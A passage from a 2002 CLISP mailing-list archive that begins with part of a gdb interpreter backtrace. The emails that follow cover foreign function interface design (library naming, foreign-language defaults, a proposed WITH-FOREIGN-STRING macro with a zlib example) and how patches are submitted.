(fun=0x8244812, args_on_stack=1, args=0x67df85eb) at eval.d:4511 #27 0x08059bca in apply (fun=0x8244812, args_on_stack=1, other_args=0x67df85eb) #28 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i") at eval.d:8164 #29 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, args=0x67df85eb) at eval.d:4943 #30 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, other_args=0x67df85eb) at eval.d:4078 #31 0x0805f43b in interpret_bytecode_ (closure=0x2032b93d, codeptr=0x2032b91c, byteptr_in=0x2032b92e "\231") at eval.d:8146 #32 0x0805ae42 in apply_closure (closure=0x2032b93d, args_on_stack=0, args=0x67df85eb) at eval.d:4943 #33 0x08059bee in apply (fun=0x2032b93d, args_on_stack=1, other_args=0x67df85eb) at eval.d:4078 #34 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i") at eval.d:8164 #35 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, args=0x67df85eb) at eval.d:4943 #36 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, other_args=0x67df85eb) at eval.d:4078 #37 0x0805f43b in interpret_bytecode_ (closure=0x2032ebd5, codeptr=0x2032eb80, byteptr_in=0x2032eb92 "®Ú\213\001\a\231\006¯ \233\001\003ÜÝo\004ß±Ú3\003\037 ¨ë2 \022\"") at eval.d:8146 #38 0x0805ae42 in apply_closure (closure=0x2032ebd5, args_on_stack=0, args=0x8246261) at eval.d:4943 #39 0x08059bee in apply (fun=0x2032ebd5, args_on_stack=5, other_args=0x8246261) at eval.d:4078 #40 0x0805f43b in interpret_bytecode_ (closure=0x2032ed41, codeptr=0x2032ec00, byteptr_in=0x2032ec12 "±r&Ú\212\001'±\216\004-±\216\0050±\216\e,ÝÞ³ßæço\bµ¸3\006\037ÝÞ²ßàáo\bµ¸¸3\a\037\223\004\004¯%\002k¢\031\006\231\t²£\233\001\006\231\t¯ä´åµ¤\233\005\006\\ì2 \022\037") at eval.d:8146 #41 0x0805ba78 in funcall_closure (closure=0x2032ed41, args_on_stack=4) at eval.d:5838 #42 0x0805afe7 in funcall (fun=0x824d9d1, args_on_stack=4) at eval.d:5025 #43 0x080b3d5a in end_error (stackptr=0x401dcd40) at error.d:298 #44 0x080b3dc3 in fehler () at error.d:328 #45 0x080b517e in fehler_funname_source () at error.d:915 #46 0x0805861f in eval1 (form=0x67df861b) at eval.d:3138 #47 0x080582d6 in eval (form=0x67df861b) at eval.d:2974 #48 0x08055a1d in eval_5env (form=0x67df861b, var_env=0x8246261, fun_env=0x8246261, block_env=0x8246261, go_env=0x8246261, decl_env=0x680a8773) at eval.d:978 #49 0x08055a57 in eval_noenv (form=0x67df861b) at eval.d:990 #50 0x08063cb7 in C_eval () at control.d:2299 #51 0x0805d000 in interpret_bytecode_ (closure=0x20325dad, codeptr=0x20325818, #52 0x0805ba78 in funcall_closure (closure=0x20325dad, args_on_stack=2) at eval.d:5838 #53 0x0805afe7 in funcall (fun=0x20324da5, args_on_stack=2) at eval.d:5025 #54 0x0805cfad in interpret_bytecode_ (closure=0x2032ae79, codeptr=0x2032ae58, byteptr_in=0x2032ae6a "­o") at eval.d:7061 #55 0x0805ba78 in funcall_closure (closure=0x2032ae79, args_on_stack=1) at eval.d:5838 #56 0x0805afe7 in funcall (fun=0x2032ae3d, args_on_stack=1) at eval.d:5025 #57 0x0805ceb3 in interpret_bytecode_ (closure=0x2032bbdd, codeptr=0x2032bb64, byteptr_in=0x2032bb76 "®/") at eval.d:7052 #58 0x0805ba78 in funcall_closure (closure=0x2032bbdd, args_on_stack=5) at eval.d:5838 #59 0x0805afe7 in funcall (fun=0x824d35d, args_on_stack=5) at eval.d:5025 #60 0x080a5c4f in C_pmake_instance (argcount=2, rest_args_pointer=0x401dccac) at record.d:1340 #61 0x0805a469 in apply_subr (fun=0x8244812, args_on_stack=1, args=0x67df872b) at eval.d:4511 #62 0x08059bca in apply (fun=0x8244812, args_on_stack=1, other_args=0x67df872b) at eval.d:4076 #63 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i") #64 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, args=0x67df872b) at eval.d:4943 #65 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, other_args=0x67df872b) at eval.d:4078 #66 0x0805f43b in interpret_bytecode_ (closure=0x2032b93d, codeptr=0x2032b91c, byteptr_in=0x2032b92e "\231") at eval.d:8146 #67 0x0805ae42 in apply_closure (closure=0x2032b93d, args_on_stack=0, args=0x67df872b) at eval.d:4943 #68 0x08059bee in apply (fun=0x2032b93d, args_on_stack=1, other_args=0x67df872b) at eval.d:4078 #69 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i") at eval.d:8164 #70 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, args=0x67df872b) at eval.d:4943 #71 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, other_args=0x67df872b) at eval.d:4078 #72 0x0805f43b in interpret_bytecode_ (closure=0x2032ebd5, codeptr=0x2032eb80, byteptr_in=0x2032eb92 "®Ú\213\001\a\231\006¯ \233\001\003ÜÝo\004ß±Ú3\003\037¨ë2 \022\"") at eval.d:8146 #73 0x0805ae42 in apply_closure (closure=0x2032ebd5, args_on_stack=0, args=0x8246261) at eval.d:4943 #74 0x08059bee in apply (fun=0x2032ebd5, args_on_stack=5, other_args=0x8246261) at eval.d:4078 #75 0x0805f43b in interpret_bytecode_ (closure=0x2032ed41, codeptr=0x2032ec00, byteptr_in=0x2032ec12 "±r&Ú\212\001'±\216\004-±\216\0050±\216\e,ÝÞ³ßæço\bµ¸3\006\037ÝÞ²ßàáo\bµ¸¸3\a\037\223\004\004¯%\002k¢\031\006\231\t²£\233\001\006\231\t¯ä´åµ¤\233\005\006\\ì2 \022\037") at eval.d:8146 #76 0x0805ba78 in funcall_closure (closure=0x2032ed41, args_on_stack=4) at eval.d:5838 #77 0x0805afe7 in funcall (fun=0x824d9d1, args_on_stack=4) at eval.d:5025 #78 0x080b3d5a in end_error (stackptr=0x401dcc64) at error.d:298 #79 0x080b3dc3 in fehler () at error.d:328 #80 0x080b517e in fehler_funname_source () at error.d:915 #81 0x0805861f in eval1 (form=0x67df875b) at eval.d:3138 #82 0x080582d6 in eval (form=0x67df875b) at eval.d:2974 #83 0x08055a1d in eval_5env (form=0x67df875b, var_env=0x8246261, fun_env=0x8246261, block_env=0x8246261, go_env=0x8246261, decl_env=0x680a8773) at eval.d:978 #84 0x08055a57 in eval_noenv (form=0x67df875b) at eval.d:990 #85 0x08063cb7 in C_eval () at control.d:2299 #86 0x0805d000 in interpret_bytecode_ (closure=0x20325dad, codeptr=0x20325818, byteptr_in=0x2032582a "\e\027Ê\e7­a\001\e:á®a\002\e\200@\231\vº«7\001\026\v") at eval.d:7064 #87 0x0805ba78 in funcall_closure (closure=0x20325dad, args_on_stack=2) #88 0x0805afe7 in funcall (fun=0x20324da5, args_on_stack=2) at eval.d:5025 #89 0x0805cfad in interpret_bytecode_ (closure=0x2032ae79, codeptr=0x2032ae58, byteptr_in=0x2032ae6a "­o") at eval.d:7061 #90 0x0805ba78 in funcall_closure (closure=0x2032ae79, args_on_stack=1) at eval.d:5838 #91 0x0805afe7 in funcall (fun=0x2032ae3d, args_on_stack=1) at eval.d:5025 #92 0x0805ceb3 in interpret_bytecode_ (closure=0x2032bbdd, codeptr=0x2032bb64, byteptr_in=0x2032bb76 "®/") at eval.d:7052 #93 0x0805ba78 in funcall_closure (closure=0x2032bbdd, args_on_stack=5) at eval.d:5838 #94 0x0805afe7 in funcall (fun=0x824d35d, args_on_stack=5) at eval.d:5025 #95 0x080a5c4f in C_pmake_instance (argcount=2, rest_args_pointer=0x401dcbd0) at record.d:1340 #96 0x0805a469 in apply_subr (fun=0x8244812, args_on_stack=1, args=0x67df886b) at eval.d:4511 #97 0x08059bca in apply (fun=0x8244812, args_on_stack=1, other_args=0x67df886b) at eval.d:4076 #98 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i") at eval.d:8164 #99 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, args=0x67df886b) at eval.d:4943 #100 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, other_args=0x67df886b) at eval.d:4078 #101 0x0805f43b in interpret_bytecode_ (closure=0x2032b93d, codeptr=0x2032b91c, byteptr_in=0x2032b92e "\231") at eval.d:8146 #102 0x0805ae42 in apply_closure (closure=0x2032b93d, args_on_stack=0, args=0x67df886b) at eval.d:4943 #103 0x08059bee in apply (fun=0x2032b93d, args_on_stack=1, other_args=0x67df886b) at eval.d:4078 #104 0x0805f4bc in interpret_bytecode_ (closure=0x2032b98d, codeptr=0x2032e120, byteptr_in=0x2032e132 "i\001\001¯\215j\002\032\003®r&i\001\001i") at eval.d:8164 #105 0x0805ae42 in apply_closure (closure=0x2032b98d, args_on_stack=0, args=0x67df886b) at eval.d:4943 #106 0x08059bee in apply (fun=0x2032b98d, args_on_stack=1, other_args=0x67df886b) at eval.d:4078 #107 0x0805f43b in interpret_bytecode_ (closure=0x2032ebd5, codeptr=0x2032eb80, byteptr_in=0x2032eb92 "®Ú\213\001\a\231\006¯ \233\001\003ÜÝo\004ß±Ú3\003\037¨ë2 \022\"") at eval.d:8146 #108 0x0805ae42 in apply_closure (closure=0x2032ebd5, args_on_stack=0, args=0x8246261) at eval.d:4943 #109 0x08059bee in apply (fun=0x2032ebd5, args_on_stack=5, #110 0x0805f43b in interpret_bytecode_ (closure=0x2032ed41, codeptr=0x2032ec00, byteptr_in=0x2032ec12 "±r&Ú\212\001'±\216\004-±\216\0050±\216\e,ÝÞ³ßæço\bµ¸3\006\037ÝÞ²ßàáo\bµ¸¸3\a\037\223\004\004¯%\002k¢\031\006\231\t²£\233\001\006\231\t¯ä´åµ¤\233\005\006\\ì2 \022\037") at eval.d:8146 #111 0x0805ba78 in funcall_closure (closure=0x2032ed41, args_on_stack=4) at eval.d:5838 #112 0x0805afe7 in funcall (fun=0x824d9d1, args_on_stack=4) at eval.d:5025 #113 0x080b3d5a in end_error (stackptr=0x401dcb88) at error.d:298 #114 0x080b3dc3 in fehler () at error.d:328 #115 0x080b517e in fehler_funname_source () at error.d:915 #116 0x0805861f in eval1 (form=0x67df889b) at eval.d:3138 #117 0x080582d6 in eval (form=0x67df889b) at eval.d:2974 #118 0x08055a1d in eval_5env (form=0x67df889b, var_env=0x8246261, fun_env=0x8246261, block_env=0x8246261, go_env=0x8246261, decl_env=0x680a8773) at eval.d:978 #119 0x08055a57 in eval_noenv (form=0x67df889b) at eval.d:990 #120 0x08063cb7 in C_eval () at control.d:2299 #121 0x0805d000 in interpret_bytecode_ (closure=0x20325dad, codeptr=0x20325818, byteptr_in=0x2032582a "\e\027Ê\e7­a\001\e:á®a\002\e\200@\231\vº«7\001\026\v") at eval.d:7064 --wRRV7LY7NUeQGEoC-- From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 24 01:40:18 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170IK0-0008QU-00 for ; Wed, 24 Apr 2002 01:40:17 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 24 Apr 2002 10:38:02 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 24 Apr 2002 10:39:15 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 01:41:04 2002 X-Original-Date: Wed, 24 Apr 2002 10:39:06 +0200 Hi, > > DEf-LIB-CALL-OUT (Amiga) adds (:language :STDC) arbitrarily > for compatibility? > > DEF-LIB-CALL-OUT (truly dynamic FFI, if I keep this name): > require :language > > wouldn't these be gone when all the FFI goes dynamic? This is a design question which I've not fully sorted out yet. The thing to remember is that CLISP will have different sorts of external functions: those coming from modules (#), and those coming from new shared libraries (#). DEF-CALL-OUT could be made to macroexpand differently depending on whether some options are present or not, e.g. introduce a (:library foo) option. My preference is to go for DEF-LIB-CALL-OUT or similar, because 1) it's already there for the Amiga 2) the macroexpansion for modules and for libraries is rather different. 3) the exact format of foo in (:library foo) is obscure (see below point II). There's also no DEF-LIB-CALL-IN. However, one could have a few FOREIGN-LIBRARY-VARIABLE (one or two of of them are useful on AmigaOS). AllegroCL has only a single ff:def-foreign-call. It doesn't even mention the library! Looks nice. But I guess this is because they add all the library's symbols to their lisp.run binary (like CMUCL did at the time I looked at it), which is not portable (think about MS-Windows), or perhaps because they internally sequentially walk through all open libraries, querying them for the symbol, which I won't accept (it's not deterministic from a single library provider's point of view: if I want "compress" from zlib, I shall get exactly that one, and such a query interface is not available on AmigaOS). There are other, related issues: I) exact form of the internal FOREIGN-LIBRARY, FOREIGN-ADDRESS-FUNCTION (if kept), FOREIGN-LIBRARY-FUNCTION (if introduced) etc. E.g. Ib) FOREIGN-LIBRARY or some sort: maintain a list of open libraries in *FOREIGN-LIBRARIES* (allows for REOPEN-LIBRARY and library name synonyms, see point II below). I'm currently thinking about (name-as-string foreign-pointer os-option ({known-functions}*). The CDR would be linked from all nicknames. II) referring to libraries, especially naming by a nickname. LispWorks calls that modules. This may be useful because on all systems, the actual library name (and path) will vary widely. So if you want to say (DEF-LIB-CALL-OUT compress "zlib" #) ; library by name you need something which will map "zlib" to "zlib.dll", "libz.so" or "cygz.dll" ; Cygwin name for zlib dll or even "/usr/lib/libz.so" or even #P"/usr/lib/libz.so" or some such. So far, my zlib compress examples works by evaluating the second argument (the library) to DEF-LIB-CALL-OUT: (setq *zlib* (user::foreign-library *zlib-path*) ; store FOREIGN-POINTER object (ffi:def-lib-call-out zlib-compress-string *zlib* ...) When you think about how this would look like with a unified DEF-CALL-OUT with :library option, I don't like the idea to have to explain that the library option will be evaluated, while all others are not. (DEF-CALL-OUT zlib-compress-string (:name "compress") (:library *zlib*) ; FOREIGN-POINTER (or possibly later: a string) (:library "zlib") ; this needs name synonyms to work (:language ...)) Using (:library "zlib") needs name synonyms (nicknames), as I don't want to see here and repeated for every function all of #+WIN32 "zlib.dll" ;; TODO how to deal with cygwin (#+UNIX on MS-Windows)? -- it wants "cygz.dll" #+UNIX "libz.so" #+AMIGA "zlib.library" Sometimes, I feel I'm investing too much thought in rather low-level issues few people actually care about. Worse is better may just mean: the current scheme (referring to library by its base pointer) works, so it is enough. In other words, I recognize that the unification costs me a lot of effort and grief and very little reward. DEF-LIB-CALL-OUT just works now (although I will revisit the macroexpansion pending point I above). Another open problem: How to recogize cygwin? It appears as #+UNIX, but wants "cygz.dll" instead of "libz.so" which I suppose works across several systems (maybe only the dlopen() ones, not shl_load()). So providing a user settable variable (defvar *zlib-path* (or #+WIN32 "zlib.dll" ;; TODO how to deal with cygwin (#+UNIX on MS-Windows)? -- it wants "cygz.dll" #+UNIX "libz.so" #+AMIGA "zlib.library" ) "Set this variable to point to the location of the zlib library (libz.so or zlib.dll) on your system.") is what people are used to. Cygwin users will have to overide this. HP-UX users probably also. There's no need for me to imagine yet another half-working (i.e. broken) "try to find name automatically" heuristic. Suggestions are, as always, welcome (maybe the best suggestion would be one about how I could express my ideas shortly :-), Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 24 03:32:46 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170K4q-0005TZ-00 for ; Wed, 24 Apr 2002 03:32:44 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 24 Apr 2002 12:31:21 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 24 Apr 2002 12:32:34 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] critique of default-foreign-language MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 03:33:04 2002 X-Original-Date: Wed, 24 Apr 2002 12:32:29 +0200 Hi, Sam Steingold wrote: > I am sorry, but I do not understand a single word of what you are > saying. My summary is: the current implementation of default-foreign-language makes simple things look simple, but complex things unpredictably broken. I'll try the "show by example" approach. Consider: (DEFAULT-FOREIGN-LANGUAGE :stdc) (def-call-out foo ...) (def-call-out bar ...) (def-c-var callback-pointer (:name "ffi_user_pointer") (:type (c-function (:arguments (data c-pointer)) (:return-type int)))) (defun set-callback-1arg (fun) ;; symbol-macro on foreign-variable (setf callback-pointer fun)) (defun set-callback-2arg (fun) (setf (cast callback-pointer '(c-function (:arguments (data c-pointer) (more-data uint)) (:return-type int))) fun) Observations: a) the programmer gets used not to state :language in foreign function type declarations. b) CLISP makes no guarantees of any sort as to what gets parsed (-> set in stone) when. I distinguish compile-time, load-time and run-time. Analysis: i) callback-1arg works. PARSE-C-TYPE on the callback pointer has been called at load-time, in which the DEFAULT-FOREIGN-LANGUAGE was bound. ii) callback-2arg can break. It produces different functions, depending on the user's settings or previously loaded or executed code! This is because PARSE-C-TYPE is called at run-time there, as opposed to load-time (or compilation-time). One might consider adding :language just in callback-2arg. I do not like this irregular behaviour at all. 1. How to explain the programmer that the addition be needed at just this place and not the others? 2. The programmer might not even add the line, since the "set-default-to-stdc" behaviour encourages lazyness and incorrect code: s/he might have set it earlier (in his/her .mem file) and forget about it. 3. Furthermore, the programmer might not even get a warning for this module (and thus never add :language), because other code s/he loaded previously may already have set the default. So my summary is: the current implementation of default-foreign-language makes simple things look simple, but complex things dangerous. That's not what I expect from Lisp. That's enough for now. I can speak about parse-c-type optimization and also scoping issues at a later time. Regards, Jorg Hohle. From peter.wood@worldonline.dk Wed Apr 24 03:50:25 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170KLv-0007Dy-00 for ; Wed, 24 Apr 2002 03:50:24 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id F39DAB804 for ; Wed, 24 Apr 2002 12:50:18 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3OAahe00197; Wed, 24 Apr 2002 12:36:43 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) Message-ID: <20020424123642.A178@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Wed, Apr 24, 2002 at 10:39:06AM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 03:51:06 2002 X-Original-Date: Wed, 24 Apr 2002 12:36:42 +0200 Hi, On Wed, Apr 24, 2002 at 10:39:06AM +0200, Hoehle, Joerg-Cyril wrote: > . Worse is better may just mean: the current scheme (referring to > library by its base pointer) works, so it is enough. Yes! I agree with this. I am happy with referring to the library by its base pointer. Let the users do their own macro stuff. Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 24 05:08:08 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170LZ7-0007AA-00 for ; Wed, 24 Apr 2002 05:08:06 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 24 Apr 2002 14:06:05 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 24 Apr 2002 14:07:18 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: CLISP FFI and (lack of) unicode support -> WITH-FOREIGN-STRIN G Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 05:09:03 2002 X-Original-Date: Wed, 24 Apr 2002 14:07:14 +0200 Hi, I wrote: > CLISP's FFI doesn't correctly support UNICODE anyway. That's > another one on my growing FFI-limits list. I've been thinking about WITH-FOREIGN-STRING. Lispworks has it, and I can provide a very similar macro. However, I'm unsettled about the exact foreign-string representation and type in Lisp and would like to poll opinions. (with-foreign-string (fos ... :encoding custom:*default-file-encoding*) (describe fos) 0) -> outputs ?? The :encoding keyword works around the FFI restriction on C-STRING being limited to 1:1 mappings. Even UTF-16 can be converted. The drawback is that the foreign function's parameter cannot be declared as having type C-STRING anymore. Note that strictly speaking, you can already use the FFI with arbitrary string encodings today, using EXT:CONVERT-STRING-TO-BYTES and working with (ffi:c-array-ptr uint8) instead of c-string parameters (with care if the foreign side does uint16-wide access to an array terminated by a single uint8 zero...). So am I wasting my time on a speed&garbage optimization issue again? o What would be an appropriate parameter type declaration? a) C-POINTER b) C-ARRAY-PTR uint8 c) something else o What would be the Lisp object representing the foreign string (fos above): x) FOREIGN-ADDRESS y) FOREIGN-VARIABLE If y), what would be the type of the FOREIGN-VARIABLE object y1) (C-ARRAY uint8 ) y2) uint8 mostly, except (C-ARRAY uint16 C-POINTER type declaration): i) easy to implement ii) constant, well-understood behaviour However: j) FOREIGN-VARIABLE would be consistent with the WITH-FOREIGN-OBJECT macro, but the unresolved uint8/uint16 problem makes me avoid that. The problem with automatic unit8/uint16 recognition is that the programmer writing the FFI code may not have control over the actual encoding used by the user, thus not know what the actual type of the variables s/he manipulates is. OTOH, using foreign-variables would allow access to CLISP's functions like (SETF (element foreign-string 25) #xabcd) when the programmer is sure it's UTF-16 (or any other fixed 16bit encoding, if such exists). The programmer may still create a foreign-variable him/herself, using (FOREIGN-ADDRESS-VARIABLE fso-as-foreign-address (parse-c-type `(c-array uint8 ,bytesize))) -- which I have not yet written (a trivial exercise). > I *highly* welcome proposals for how an API which works with > unicode would look like. > I've been thinking about things like > (with-c-string (varname "foobar" &optional charset-or?-encoding) > &body ...) > -> FOREIGN-VARIABLE of type (C-ARRAY > FFI:uint8-or-character-or-what? > (FFI::FOREIGN-SIZE *) -> length in 8bit bytes > or something closer to make-array with &key :length > :initial-contents ... > It doesn't tell what DEF-x-CALL-OUT for such a function would > look like. > > Is using vectors of (unsigned-byte 8) resp. (c-array uint8 n) all > that's needed by people? [more snipped] To be less abstract, here is hypothetical code (yet another version of ZLIB compression for CL-PDF): (ffi:def-lib-call-out zlib-compress-string *zlib* (:name "compress") (:arguments (dest ffi:c-pointer :in) (destlen (ffi:c-ptr ffi:ulong) :in-out) (source ffi:c-pointer) ; cannot use c-string with arbitrary Unicode (sourcelen ffi:ulong)) (:return-type ffi:int) (:language :stdc)) (defun compress-string (astring) "Compress the string SOURCE. Returns an array of bytes representing the compressed data." ;; works with strings of arbitrary encodings (with-foreign-string (source elemsize sourcelen :encoding pdf::+external-format+ :null-terminated-p NIL) astring (declare (ignore elemsize)) (let* ((destlen (+ 12 (ceiling (* sourcelen 1.05))))) ;; Using CLISP's symbol-macro based interface (ffi:with-c-var (dest `(c-array uint8 ,destlen)) ; no init (multiple-value-bind (status actual) (zlib-compress-string (ffi:c-var-address dest) destlen source sourcelen) (if (zerop status) ;;(subseq dest 0 actual) ;;ffi:cast not usable because of different size... (ffi:offset dest 0 `(c-array uint8 ,actual)) (error "zlib error, code ~d" status))))))) WITH-FOREIGN-STRING is nice, but there's also a need for the converse, foreign-address -> Lisp string... Thanks for your comments, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 24 05:28:22 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170Lsi-0001Yv-00 for ; Wed, 24 Apr 2002 05:28:20 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 24 Apr 2002 14:25:37 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 24 Apr 2002 14:26:50 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] CVS and my set of patches Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 05:29:05 2002 X-Original-Date: Wed, 24 Apr 2002 14:26:49 +0200 Hi, > Please do not move any of the CLISP-related work into private e-mail. > Remember, our private e-mail is not archived the same way the SF Ok, I understand. I'm starting to use the patches section of SF. > 3. please send the unified patches (-u); they are smaller and easier to read. ok. > > It causes me more work than if I throw all at once on you, but maybe > > it's better for discussion. > yes, please do keep the patches small. > your patch breaks FOREIGN-ADDRESS-NULL in foreign1.lisp, > but that's okay, I will fix that. Thanks. Actually, none of my patches really work, since they are fake diffs. The code worked as a module (as posted to the list), then I added lines by hand to subr.d, constsym.d, and copy&paste from the module to foreign.d and foreign1.lisp. I will not test every piece of a patch by seeing if CLISP still compiles -- every change to constsym.d needs recompilation, and we agreed on small patches. This is reserved for the end (fix typo and copy&paste bugs). Thanks again for smoothing things out. The typical "thanks, bug now fixed in CVS" reply says: >(be advised that between >releases the CVS tree is very unstable and may not even build >on your platform). This is exactly why I feel I must stay away from CVS. I feel a need for a stable platform. I just noticed I did too much copy&paste: constsym.d should contain LISPSYM lines, not LISPFUN. LISPSYM(exec_with_stack,"%FOREIGN-ON-STACK",ffi) Peter: sorry: LISPFUNN(mark_invalid_foreign,1) # { value1=T; mv_count=1; } broken { skipSTACK(1); value1=T; mv_count=1; } I'll send the the real thing to the patches section of sourceforge as soon as I beautify it. > BTW, could you please send me your spvw.d patch against the CVS? No yet rewritten. > > > please do submit your FFI testsuite. > are you sure you appended the whole patch? The part 1 which goes into foreign.d. -- any problems there? I never sent part 2 (foreign.tst) which still needs to be rewritten to use stable parts of the new FFI, not redefine-foreign-function history. Regards, Jorg Hohle. From samuel.steingold@verizon.net Wed Apr 24 06:12:23 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170MZJ-000892-00 for ; Wed, 24 Apr 2002 06:12:22 -0700 Received: from gnu.org ([151.203.30.83]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424131207.RQFO1765.out020.verizon.net@gnu.org>; Wed, 24 Apr 2002 08:12:07 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CVS and my set of patches References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 06:13:02 2002 